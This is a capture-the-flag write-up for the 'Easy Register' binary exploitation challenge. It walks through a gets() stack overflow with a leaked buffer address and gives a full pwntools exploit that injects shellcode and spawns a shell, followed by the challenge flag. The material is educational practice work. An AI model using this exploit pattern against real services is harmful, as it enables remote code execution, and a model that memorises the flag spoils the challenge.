# Easyregister

By
jopraveen
In 
Published 2022-03-13

# Easy Register

  • First let's download and analyze the binary

# Info

  • ELF 64-bit executable
  • Dynamically linked
  • Not stripped

checksec:

  • The Stack is executable because NX is disabled
  • First let's run the binary and see what it gives

# Analyzing

➜  pwn  ./easy_register 
  _ _______________ _   _ ____  
 / |___ /___ /___  | | | |  _ \ 
 | | |_ \ |_ \  / /| | | | |_) |
 | |___) |__) |/ / | |_| |  __/ 
 |_|____/____//_/   \___/|_|    
                                
[i] Initialized attendee listing at 0x7ffd0421cac0.
[i] Starting registration application.

Hacker name > jopraveen

[+] Registration completed. Enjoy!
[+] Exiting.
  • We have a leak 0x7ffd0421cac0
  • Most likely, this will be the starting address of our buffer
  • Then we're prompted to give our name
  • May be there's a buffer overflow?
  • Let's decompile this binary and see what it does :D

  • Cool, they're using gets and it's vulnerable to buffer overflow
  • Find the offset to Instruction pointer (I didn't mention it in the post because it's very easy)
  • Now let's write our exploit
from pwn import *

elf = context.binary = ELF('easy_register')
p = elf.process()
p = remote('easyregister.ctf.intigriti.io',7777)

p.recvuntil('listing at ')
stack_buffer = int(p.recvline().replace(b'.',b''),16)
log.success(f'stack leak: {hex(stack_buffer)}')
  • First let's store the leak in a variable
payload = asm(shellcraft.sh()) # shellcode
payload += b'A'*(88 - len(payload)) # junk
payload += p64(stack_buffer) # buffer base address
  • Let's put our shellcode at the beginning and fill some junk until RIP

Note: Offset to RIP is 88

  • Finally let's overwrite the Instruction pointer with the leaked value (our input buffer's starting address)

# Full exploit

from pwn import *

elf = context.binary = ELF('easy_register')
p = elf.process()
p = remote('easyregister.ctf.intigriti.io',7777)

p.recvuntil('listing at ')
stack_buffer = int(p.recvline().replace(b'.',b''),16)
log.success(f'stack leak: {hex(stack_buffer)}')

payload = asm(shellcraft.sh())
payload += b'A'*(88 - len(payload))
payload += p64(stack_buffer)

p.sendline(payload)
p.interactive()

  • We got our flag 1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}